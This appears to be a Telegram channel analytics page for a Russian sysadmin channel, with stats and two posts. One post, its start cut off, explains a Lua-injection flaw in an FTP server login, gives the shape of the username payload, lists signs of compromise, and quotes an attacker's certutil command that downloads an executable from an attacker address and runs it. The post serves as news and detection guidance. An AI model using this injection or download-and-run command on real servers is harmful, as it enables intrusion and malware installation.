Типичный Сисадмин
Обсуждаем бэкапы, которые никто не проверял, и пользователей, которые опять всё сломали. 🤝Реклама: @sysodmin 💚Предложка: @sysmeme_bot РКН: vk.cc/cJ0Tm9
Show more📈 Analytical overview of Telegram channel Типичный Сисадмин
Channel Типичный Сисадмин (@sysodmins) in the Russian language segment is an active participant. Currently, the community unites 37 035 subscribers, ranking 3 680 in the Technologies & Applications category and 17 443 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 37 035 subscribers.
According to the latest data from 23 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 28 over the last 30 days and by 13 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 25.67%. Within the first 24 hours after publication, content typically collects 17.91% reactions from the total number of subscribers.
- Post reach: On average, each post receives 9 504 views. Within the first day, a publication typically gains 6 631 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 173.
- Thematic interests: Content is focused on key topics such as microsoft, предложка, linux, архитектура, железо.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Обсуждаем бэкапы, которые никто не проверял, и пользователей, которые опять всё сломали.
🤝Реклама: @sysodmin
💚Предложка: @sysmeme_bot
РКН: vk.cc/cJ0Tm9”
Thanks to the high frequency of updates (latest data received on 24 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
Никогда не переживай о том, чтобы предать свое рабочее место, потому что, если представится шанс, твое рабочее место предаст тебя 🤔З.Ы. Если хотите создать свой продукт, делайте это на 100% в свое время, на своем оборудовании и без использования корпоративных ресурсов. Ведите подробную документацию. Вместо того чтобы воевать, эту ситуацию можно использовать как рычаг для переговоров. Когда ты единственный, кто знает, как работает код, то это отличный повод потребовать повышения ЗП, новую должность или процент с продаж. Можно также тактично указать руководству, что внутренний инструмент и коммерческий продукт это две большие разницы. Коммерческая версия потребует серьезных вложений в документацию, техническую поддержку, тестирование и обеспечение безопасности, и еще не факт, что компания готова к таким инвестициям 🙄 Типичный 🥸 Сисадмин
%00) и инъекции кода на языке Lua в параметре имени пользователя при аутентификации (через loginok.html). Атакующий может отправить специально сформированный запрос, используя учетную запись, для которой известен пароль (или анонимную, если она включена). Полезная нагрузка в поле username выглядит примерно так: `` имя_пользователя%00]]...вредоносный_Lua_код...-- ``. Нулевой байт обрывает обработку строки с именем, ]] корректно закрывает синтаксис объекта сессии, а -- комментирует остаток оригинального кода. В результате вредоносный Lua-код записывается в файл сессии на сервере (файл с расширением .lua в директории session). При следующем обращении к серверу (например, при запросе страницы dir.html) он считывает этот файл, десериализует данные и выполняет внедренный код.
Признаки взлома можно найти в логах сервера (Log\Domains\) — ищите обрезанные записи вида `` User 'anonymous `` (без закрывающей кавычки). Более надежный способ — проверить файлы сессий в директории session на аномально большой размер или наличие подозрительного Lua-кода (например, функций для hex-декодирования или вызова io.popen). Один из реальных пейлоадов, который обнаружили исследователи, выглядел так: `` certutil -urlcache -f http://[IP_АТАКУЮЩЕГО]/[payload.exe] %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe ``.
А теперь самое интересное как это выглядело на практике. Аналитики из Huntress разобрали реальную атаку и выяснили, что уязвимостью воспользовались, мягко говоря, не самые опытные хакеры. Их действия были похожи на комедию ошибок: они запускали базовые команды для разведки (ipconfig, whoami), пытались создавать пользователей с паролями вроде 123123qweqwe, делали опечатки в путях к файлам (например, c:^A.exe, где ^A — это управляющий символ SOH), пытались запустить встроенную команду dir как внешний бинарник и не смогли правильно составить curl-команду для скачивания своего же бэкдора. В конце концов, они попытались скачать и запустить пейлоад с помощью certutil, но его тут же удалил Microsoft Defender (Trojan:Win32/Ceprolad.A). После этого процесс WFTPServer.exe упал, и сессия атакующих оборвалась 😂😂
Эх, а ведь были прекрасные нулевые, когда для взлома сервера нужно было быть настоящим гением. А теперь достаточно просто найти готовый эксплойт на GitHub и уметь правильно скопировать команду... хотя, как видно, даже с последним у некоторых проблемы 😬
Типичный 🥸 Сисадмин
Available now! Telegram Research 2025 — the year's key insights 
